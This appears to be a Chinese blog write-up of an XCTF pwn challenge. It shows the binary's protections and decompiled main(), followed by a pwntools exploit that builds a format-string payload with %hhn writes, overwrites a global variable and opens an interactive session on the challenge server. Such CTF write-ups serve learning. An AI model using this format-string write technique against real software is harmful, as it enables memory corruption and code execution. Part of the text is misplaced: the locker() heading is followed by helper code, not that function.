

实时数据监测(xctf)

原创

[white4nd](#) 于 2020-05-24 20:39:10 发布 518 收藏 1

分类专栏: [# xctf\(pwn高手区\) CTF](#)

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[CTF](#)

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订阅专栏

0x0 程序保护和流程

保护:

```
[*] '/home/whitehand/Desktop/a'  
Arch:      i386-32-little  
RELRO:     Partial RELRO  
Stack:     No canary found  
NX:        NX disabled  
PIE:       No PIE (0x8048000)  
RWX:       Has RWX segments
```

流程:

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)  
{  
    locker();  
    return 0;  
}
```

locker()


```

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr

# offset 覆盖的地址 最初的偏移 size 机器字长 addr 将要覆盖的地址 target 要覆盖为目的的变量值
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

```

0x2 exp

```

from pwn import *
#sh = process('./a')
sh = remote('124.126.19.106', '37070')
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr

def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

# payload=p32(0x0804A048)+p32(0x0804A049)+p32(0x0804A04A)+p32(0x0804A04B)+"%18c%12$hhn%17c%13$hhn%239c%14$hhn%224c%15$hhn"
payload = fmt_str(12, 4, 0x0804A048, 0x2223322)
sh.sendline(payload)
sh.interactive()

```